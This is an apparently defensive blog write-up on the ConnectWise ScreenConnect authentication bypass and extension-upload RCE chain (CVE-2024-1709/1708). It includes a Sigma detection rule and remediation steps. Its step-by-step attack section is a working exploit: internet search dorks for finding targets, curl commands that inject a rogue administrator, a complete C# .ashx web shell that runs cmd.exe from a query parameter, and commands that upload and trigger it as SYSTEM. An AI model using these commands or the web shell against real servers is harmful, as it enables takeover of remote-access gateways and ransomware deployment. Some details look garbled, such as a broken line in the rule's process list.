ScreenConnect: Threat Modeling CVE-2024-1709 Pre-Auth RCE
Overview & Threat Landscape: Deconstructing ConnectWise ScreenConnect Pre-Auth RCE#
ScreenConnect CVE-2024-1709 exploits a .NET path traversal in SetupWizard.aspx for pre-auth RCE; patch to 23.9.8+ and audit User.xml immediately.
In the landscape of modern enterprise and managed service provider (MSP) infrastructure, remote monitoring and management (RMM) platforms represent the ultimate high-value target. Software such as ConnectWise ScreenConnect (formerly known as ConnectWise Control) serves as an administrative bridge into thousands of client networks, executing privileged agent software, facilitating remote desktop access, and maintaining persistent system-level tunnels into internal enclaves. When a remote access gateway exposed directly to the public internet suffers a critical authentication failure, the blast radius extends far beyond a single compromised edge server—it provides adversaries with an immediate pivot bridge to deploy mass ransomware across downstream client endpoints.
In February 2024, vulnerability researchers uncovered a catastrophic vulnerability chain in ConnectWise ScreenConnect versions 23.9.7 and earlier:
- CVE-2024-1709 (CVSS 10.0 Maximum Severity): An authentication bypass vulnerability classified under CWE-288 (Authentication Bypass Using an Alternate Path or Channel). The flaw resides within the application's URL routing and path-handling logic for the initial setup wizard (
/SetupWizard.aspx), allowing an unauthenticated external attacker to re-initialize the setup process on an already configured instance and overwrite administrative credentials inApp_Data/User.xml. - CVE-2024-1708 (CVSS 8.4 High): An improper limitation of a pathname to a restricted directory (CWE-22: Path Traversal / Zip Slip). Once an attacker gains administrative privileges via CVE-2024-1709, they can upload a maliciously crafted extension archive (
.zip) containing ASP.NET handler files (.ashxor.aspx), forcing the host service (ScreenConnect.Service.exe) to execute arbitrary code withNT AUTHORITY\SYSTEMprivileges.
Disclosed by Huntress and rapidly added to the CISA Known Exploited Vulnerabilities (KEV) Catalog, CVE-2024-1709 triggered an immediate wave of automated in-the-wild exploitation. Prominent threat actors—including affiliates of the BlackCat (ALPHV), LockBit 3.0, and Play ransomware cartels, as well as access brokers associated with FIN7 (UNC5319)—weaponized the vulnerability within hours of public disclosure. Attackers utilized internet-wide OSINT search engines to enumerate unpatched instances, executed automated takeover scripts, and dropped web shells to deploy Cobalt Strike beacons, remote access trojans (RATs), and ransomware payloads across entire MSP client bases.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
MITRE ATT&CK Threat Mapping#
Deconstructing the attack chain of CVE-2024-1709 and CVE-2024-1708 requires mapping each phase against the MITRE ATT&CK enterprise matrix:
- T1190 (Exploit Public-Facing Application): The adversary sends crafted HTTP requests containing alternate path strings (
/SetupWizard.aspx/anything) to exposed ScreenConnect web ports (default TCP 8040/8041) to bypass perimeter access controls. - T1078.001 (Valid Accounts: Default / New Admin Accounts): The attacker leverages the unauthenticated setup wizard step 2 to inject a rogue administrative account or overwrite existing user records in the local
User.xmlcredential database. - T1505.003 (Server Software Component: Web Shell): The adversary abuses the administrative extension management API to upload a weaponized plugin archive, dropping an
.ashxor compiled .NET assembly directly into the web application directory. - T1059.001 (Command and Scripting Interpreter: PowerShell): The uploaded web shell invokes administrative commands via
powershell.exeandcmd.exerunning under the parent processScreenConnect.Service.exe. - T1068 (Exploitation for Privilege Escalation): Because the ScreenConnect server service operates natively as
NT AUTHORITY\SYSTEMon Windows hosts, arbitrary code execution in the web tier yields immediate local system compromise.
| Attacker Context: | Execution Vehicle: | Compromised Subsystem: |
|---|---|---|
| Unauthenticated Remote Actor | HTTP POST to Alternate Path | SetupWizard.aspx .NET Routing |
| External Internet (Port 8040) | /SetupWizard.aspx/anything | Bypasses configured-state check |
| Privilege Escalation: | Secondary RCE Vector: | Ultimate Operational Impact: |
| Rogue Administrator Created | CVE-2024-1708 Extension Upload | SYSTEM Shell via Web Shell (.ashx) |
| Injected into User.xml | Unpacks malicious stager.ashx | Fleet-wide Ransomware Deployment |
Vulnerability & Attack Root-Cause Analysis: The SetupWizard.aspx PathInfo Routing Flaw#
The GNU and Windows .NET runtime architectures handle incoming HTTP requests through a structured pipeline of URL rewriters, authentication modules (IHttpModule), and page handlers (IHttpHandler). The root cause of CVE-2024-1709 lies in an elementary string-comparison mismatch between the requested URI path and ASP.NET's internal path resolution mechanism.
The .NET URL Routing & PathInfo Architectural Flaw#
When a client transmits an HTTP request to an ASP.NET application hosted under IIS or custom embedded HTTP listeners (such as ScreenConnect's embedded HTTP server in ScreenConnect.Server.dll), the runtime deconstructs the request URI into three distinct components:
Request.FilePath: The virtual path to the resource executing the request (e.g.,/SetupWizard.aspx).Request.PathInfo: Additional path information trailing the physical resource filename (e.g.,/anythingin/SetupWizard.aspx/anything).Request.Path: The concatenated combination ofFilePathandPathInfo(e.g.,/SetupWizard.aspx/anything).
In ScreenConnect, /SetupWizard.aspx is designed to be accessible only during initial product setup when the database and administrative user have not yet been provisioned. To prevent unauthorized re-entry into the setup wizard after installation, the application implements an access control check.
Below is a conceptual reconstruction of the vulnerable access validation logic extracted from decompiled assemblies of ScreenConnect.Server.dll:
// Decompiled conceptual representation from ScreenConnect.Server.dll (vulnerable <= 23.9.7)
public class SetupWizardHttpHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
string currentPath = context.Request.Path;
// VULNERABLE LOGIC: Exact string comparison against Request.Path
// If the server has already completed initial setup:
if (InstallationState.IsConfigured())
{
// Exact match check only validates "/SetupWizard.aspx"
// If the incoming request is "/SetupWizard.aspx/anything", currentPath does NOT equal "/SetupWizard.aspx"
if (string.Equals(currentPath, "/SetupWizard.aspx", StringComparison.OrdinalIgnoreCase))
{
context.Response.Redirect("~/Login", true);
return;
}
// Critical flaw: Because currentPath is "/SetupWizard.aspx/anything",
// the redirect is bypassed, and execution falls through to process wizard steps!
}
// Process unauthenticated wizard steps
HandleSetupWizardStep(context);
}
private void HandleSetupWizardStep(HttpContext context)
{
// Step 2 handles Administrator creation
if (context.Request.HttpMethod == "POST")
{
string username = context.Request.Form["userName"];
string password = context.Request.Form["password"];
string email = context.Request.Form["email"];
// Overwrites or creates user in App_Data/User.xml
UserManager.CreateOrUpdateAdministrator(username, password, email);
// Automatically authenticates the caller and sets admin session cookie
SessionManager.EstablishAdminSession(context, username);
}
}
}
Why Standard Perimeters and Web Application Firewalls Failed#
Standard Web Application Firewalls (WAFs) and reverse proxy filters inspecting incoming requests typically evaluate URL endpoints against rigid pattern lists. Because /SetupWizard.aspx is a legitimate, built-in application page, requests to /SetupWizard.aspx/anything were not flagged as SQL injection, cross-site scripting (XSS), or known exploit signatures.
Furthermore, because ASP.NET handles PathInfo by default for .aspx extensions, IIS and embedded .NET HTTP handlers happily route the request to the SetupWizard.aspx page handler. The page handler's internal check failed to normalize the URI using Request.AppRelativeCurrentExecutionFilePath or strip PathInfo, allowing an external caller to access the full administrative onboarding interface.
Chaining with CVE-2024-1708: Malicious Extension Zip Slip RCE#
Once an attacker establishes an administrative session via CVE-2024-1709, ScreenConnect's native functionality provides a modular architecture known as Extensions. Administrators can extend the platform by uploading .zip packages containing user interface widgets, integration scripts, and backend service handlers.
In vulnerable versions (<= 23.9.7), the extension installation routine in ScreenConnect.Server.dll suffered from CVE-2024-1708:
- When unpacking uploaded extension archives, the archive decompression utility failed to sanitize internal file paths (
Zip Slip). - The server permitted extensions to define custom ASP.NET HTTP handlers (
.ashx) or dynamic scripts without verifying code signatures or sandboxing file execution paths. - When the attacker uploads an extension containing an
.ashxfile, ScreenConnect unpacks it into the web-accessible application directory (typicallyC:\Program Files (x86)\ScreenConnect\App_Extensions\<GUID>). - Making an HTTP GET request to the deployed
.ashxendpoint immediately triggers execution of arbitrary C# code within the process context ofScreenConnect.Service.exe. - Because
ScreenConnect.Service.exeruns under theNT AUTHORITY\SYSTEMservice account on Windows systems, the attacker achieves instant, unconstrained remote code execution.
While CVE-2024-1709 alone grants administrative access to the ScreenConnect console, attackers almost universally chain it with CVE-2024-1708 within 60 seconds to deploy persistent SYSTEM-level web shells and ransomware stagers.
Exploit Architecture: Attack Flow & Extension Weaponization#
The following sequence diagram details the end-to-end communication flow between an unauthenticated external attacker, the vulnerable ScreenConnect web service, the internal credential database (User.xml), and the operating system process layer:
sequenceDiagram
autonumber
actor Attacker as Remote Threat Actor (Internet)
participant Edge as ScreenConnect Web Service (:8040)
participant DB as Local App_Data User.xml
participant Ext as Extension Subsystem (CVE-2024-1708)
participant OS as Windows Kernel & SYSTEM Process
Note over Attacker,Edge: Phase 1: OSINT Discovery & PathInfo Bypass Probe
Attacker->>Edge: GET /SetupWizard.aspx/anything HTTP/1.1
Edge-->>Attacker: HTTP/1.1 200 OK (Setup Wizard Form Rendered, Bypass Success)
Note over Attacker,DB: Phase 2: Administrative Account Injection
Attacker->>Edge: POST /SetupWizard.aspx/anything (userName=admin_backdoor, password=...)
Edge->>DB: Overwrite / Append User Record to User.xml
DB-->>Edge: User Created with Full Role Permissions
Edge-->>Attacker: HTTP/1.1 302 Found (Set-Cookie: auth token issued)
Note over Attacker,Ext: Phase 3: Administrative Session & Extension Stager Upload
Attacker->>Edge: GET /Administration#Extensions (Cookie: auth token)
Edge-->>Attacker: HTTP/1.1 200 OK (Administration Dashboard)
Attacker->>Ext: POST /Administration/UploadExtension (payload.zip containing stager.ashx)
Ext->>OS: Unpack Zip Slip Archive into App_Extensions directory
OS-->>Ext: Files Written to Disk under ScreenConnect web root
Note over Attacker,OS: Phase 4: Arbitrary Remote Code Execution as SYSTEM
Attacker->>Edge: GET /App_Extensions/<GUID>/stager.ashx?cmd=powershell.exe -enc ...
Edge->>OS: ScreenConnect.Service.exe Spawns powershell.exe (PID: 4128, SYSTEM)
OS-->>Attacker: Outbound C2 Reverse Shell Connected (Full Host Compromise)Attack Path Step-by-Step: From OSINT Reconnaissance to SYSTEM Shell#
Understanding how threat actors weaponized this vulnerability requires analyzing the precise technical operations observed during incident response investigations.
Step 1: Internet-Wide OSINT Reconnaissance & Asset Enumeration#
Attackers begin by querying public threat intelligence and attack surface scanning engines to discover exposed ScreenConnect web instances.
Primary OSINT Search Dorks
- Shodan:
http.favicon.hash:-1916362544 "ScreenConnect"
http.title:"ScreenConnect" "Version"
port:8040 "ScreenConnect"
- Censys:
services.http.response.html_title: "ScreenConnect" and services.port: 8040
services.http.response.favicons.md5_hash: "28e75e9f8a32bb4c6a9a7b97e9e8f49a"
- FOFA:
app="ScreenConnect" && title=="ScreenConnect"
body="ScreenConnect.Server.dll"
Querying these engines yields thousands of endpoints exposed on default TCP ports 8040 (HTTP) and 8041 (HTTPS Relay).
Step 2: PathInfo Pre-Auth Probe & Setup Wizard State Verification#
To confirm whether a target server is vulnerable, the attacker issues a lightweight curl probe to the alternate setup path:
# Verify PathInfo authentication bypass on target server
curl -k -s -i "https://target-msp.corp:8040/SetupWizard.aspx/anything" | head -n 25
Expected Vulnerable Response Headers & Content:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Content-Length: 4892
<!DOCTYPE html>
<html>
<head><title>ScreenConnect Setup Wizard</title></head>
<body>
<form method="post" action="./anything" id="ctl00">
<!-- Setup Wizard Step 1 / Step 2 Form Tokens -->
If the instance were running patched code (version 23.9.8 or higher), the server would return an immediate HTTP/1.1 302 Found redirecting to /Login, or an HTTP/1.1 404 Not Found.
Step 3: Admin Account Injection & User.xml Overwrite#
With the wizard accessible, the attacker sends an HTTP POST request to step 2 of the setup wizard, providing their chosen administrator credentials:
# Exploit CVE-2024-1709: Inject rogue administrative user
curl -k -s -i -X POST "https://target-msp.corp:8040/SetupWizard.aspx/anything" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "__EVENTTARGET=" --data-urlencode "__EVENTARGUMENT=" --data-urlencode "ctl00$MainContent$userName=sysadmin_backdoor" --data-urlencode "ctl00$MainContent$password=P@ssw0rd2026!Secure#" --data-urlencode "ctl00$MainContent$confirmPassword=P@ssw0rd2026!Secure#" --data-urlencode "ctl00$MainContent$email=admin@target-msp.corp" --data-urlencode "ctl00$MainContent$nextButton=Next"
Disk-Level Impact on App_Data/User.xml
Upon processing this POST request, ScreenConnect writes the new administrative user directly into C:\Program Files (x86)\ScreenConnect\App_Data\User.xml:
<!-- Inspection of User.xml post-exploitation -->
<User>
<CreationTime>2026-10-24T02:45:12Z</CreationTime>
<Name>sysadmin_backdoor</Name>
<DisplayName>System Administrator</DisplayName>
<Email>admin@target-msp.corp</Email>
<PasswordHash>pbkdf2:sha256:10000$...</PasswordHash>
<Roles>
<Role>Administrator</Role>
</Roles>
</User>
The attacker now possesses legitimate, persistent administrative credentials on the target ScreenConnect gateway.
Step 4: Weaponized Extension Crafting & RCE via CVE-2024-1708#
To convert administrative access into interactive operating system execution, the attacker constructs a malicious extension archive (stager_extension.zip). The archive contains two critical files:
manifest.xml: Declares extension metadata and registers an HTTP handler.handler.ashx: An ASP.NET handler containing code execution logic.
1. Extension Manifest (manifest.xml)
<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
<ID>e3b0c442-98fc-1c14-9afb-4c8996fb9242</ID>
<Name>System Health Diagnostic Utility</Name>
<Version>1.0.0</Version>
<Author>Microsoft Diagnostics Internal</Author>
<Description>Automated performance monitoring and keepalive probe.</Description>
</ExtensionManifest>
2. ASP.NET Web Shell Handler (handler.ashx)
<%@ WebHandler Language="C#" Class="DiagnosticHandler" %>
using System;
using System.Web;
using System.Diagnostics;
using System.IO;
public class DiagnosticHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string command = context.Request.QueryString["exec"];
if (!string.IsNullOrEmpty(command))
{
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + command)
{
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process p = Process.Start(psi))
{
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
context.Response.Write(output + error);
}
}
}
public bool IsReusable { get { return false; } }
}
The attacker zips manifest.xml and handler.ashx into stager.zip and uploads it via ScreenConnect's extension API:
# Upload extension archive via authenticated API
curl -k -s -X POST "https://target-msp.corp:8040/Administration/UploadExtension" -H "Cookie: ASP.NET_SessionId=...; AuthToken=..." -F "file=@stager.zip"
Step 5: Payload Triggering & SYSTEM Reverse Shell Execution#
Once unpacked, the attacker invokes the handler directly over HTTP:
# Execute command as NT AUTHORITY\SYSTEM via dropped web handler
curl -k -s "https://target-msp.corp:8040/App_Extensions/e3b0c442-98fc-1c14-9afb-4c8996fb9242/handler.ashx?exec=whoami"
Command Output:
nt authority\system
With full SYSTEM privileges established, the attacker proceeds to dump LSASS credentials, disable endpoint security tools, harvest client session tokens, and deploy ransomware payloads across downstream managed endpoints.
Fast Cyber Defense Morning Takeaways: Threat Intel & Immediate Action Items#
The exploitation mechanics of CVE-2024-1709 represent a textbook case of how perimeter web framework abstractions can undermine critical enterprise security boundaries.
Immediate Action Items for Security Operations#
- Perform Immediate Asset Scoping: Identify all ScreenConnect instances in your enterprise inventory or client ecosystem. Ensure version is
23.9.8or greater. - Inspect User.xml for Rogue Administrators: Review
C:\Program Files (x86)\ScreenConnect\App_Data\User.xmlimmediately. Look for accounts created or modified around unexpected maintenance windows. - Audit the Extensions Directory: Inspect
C:\Program Files (x86)\ScreenConnect\App_Extensionsfor unknown GUID folders or files containing.ashxand.aspxscripts. - Deploy Immediate SIEM Detection: Implement the Sigma rule provided below to hunt for historic and ongoing exploitation attempts across perimeter proxy and endpoint logs.
Production Detection Rule: Sigma SIEM Specification#
Deploy the following Sigma rule across centralized SIEM platforms (Splunk, Microsoft Sentinel, Elastic, Sumo Logic) to detect CVE-2024-1709 URI exploitation and suspicious child process spawning:
title: ConnectWise ScreenConnect SetupWizard Authentication Bypass (CVE-2024-1709)
id: f4a8d291-3c5e-4b7f-8e12-a9b0c7d3e5f1
status: production
description: |
Detects attempts to exploit the ConnectWise ScreenConnect pre-authentication bypass (CVE-2024-1709)
via URI path manipulation (/SetupWizard.aspx/) and subsequent suspicious child process execution
originating from ScreenConnect.Service.exe.
references:
- https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://attack.mitre.org/techniques/T1190/
- https://attack.mitre.org/techniques/T1505/003/
tags:
- attack.initial_access
- attack.t1190
- attack.persistence
- attack.t1505.003
- attack.privilege_escalation
- attack.t1068
logsource:
category: webserver
product: screenconnect
detection:
selection_web_uri:
cs-uri-stem|contains:
- '/SetupWizard.aspx/'
- '/SetupWizard.aspx?'
selection_web_status:
sc-status:
- 200
- 302
selection_process:
ParentImage|endswith: '\ScreenConnect.Service.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\certutil.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '
undll32.exe'
condition: (selection_web_uri and selection_web_status) or selection_process
falsepositives:
- Initial brand-new ScreenConnect server deployment during legitimate setup wizard execution.
level: critical
Executive Takeaway Table: Threat Vectors, Detection Signals, and Primary Mitigations#
The following executive matrix consolidates the threat vectors, observable telemetry signals, and recommended defensive remediations for ConnectWise ScreenConnect CVE-2024-1709:
| Attack Vector / Technique | Primary Exploitation Mechanism | Telemetry & Detection Signal | Recommended Mitigation | Verification Command |
|---|---|---|---|---|
| PathInfo Auth Bypass (T1190) | Requesting /SetupWizard.aspx/anything bypasses configured-state redirect |
Web server access logs: cs-method=POST and cs-uri-stem contains /SetupWizard.aspx/ |
Upgrade ScreenConnect server to version 23.9.8 or later immediately |
curl -k -I "https://target:8040/SetupWizard.aspx/anything" |
| User.xml Admin Creation (T1078.001) | Step 2 of setup wizard writes new administrative user into User.xml |
File modification events in C:\Program Files (x86)\ScreenConnect\App_Data\User.xml |
Enforce file integrity monitoring (FIM); quarantine unauthorized admin accounts | Review User.xml timestamps against change management logs |
| Zip Slip Extension Upload (T1505.003) | Uploading weaponized .zip drops .ashx web shell into App_Extensions |
File creation events in App_Extensions containing .ashx, .aspx, or .dll |
Restrict extension installation; remove untrusted extensions from directory | Get-ChildItem -Path "C:\Program Files (x86)\ScreenConnect\App_Extensions" -Recurse |
| SYSTEM Child Process Spawning (T1059) | Executed web shell launches shell commands under ScreenConnect.Service.exe |
EDR process creation: Parent ScreenConnect.Service.exe spawning powershell.exe |
Deploy EDR behavioral block rules preventing child shells from service | Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
| Ransomware Fleet Propagation | Compromised ScreenConnect console executes mass commands on client agents | Mass agent commands dispatched from console targeting all connected endpoints | Isolate ScreenConnect server from client networks; rotate all credentials | Isolate network interface; audit ScreenConnect session audit logs |
Authoritative References & Standards#
- Huntress Threat Intelligence: A Catastrophe for Control: Understanding the ScreenConnect Authentication Bypass (CVE-2024-1709 & CVE-2024-1708) — Huntress Security Research
- Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog (KEV) - CVE-2024-1709 ConnectWise ScreenConnect — CISA KEV Entry
- ConnectWise Trust Center: Security Advisory: ConnectWise ScreenConnect 23.9.8 Remediation — ConnectWise Security Bulletin
- National Vulnerability Database (NIST): CVE-2024-1709 Detail (CVSS 10.0 Critical - CWE-288) — NIST NVD
Comments
Post a Comment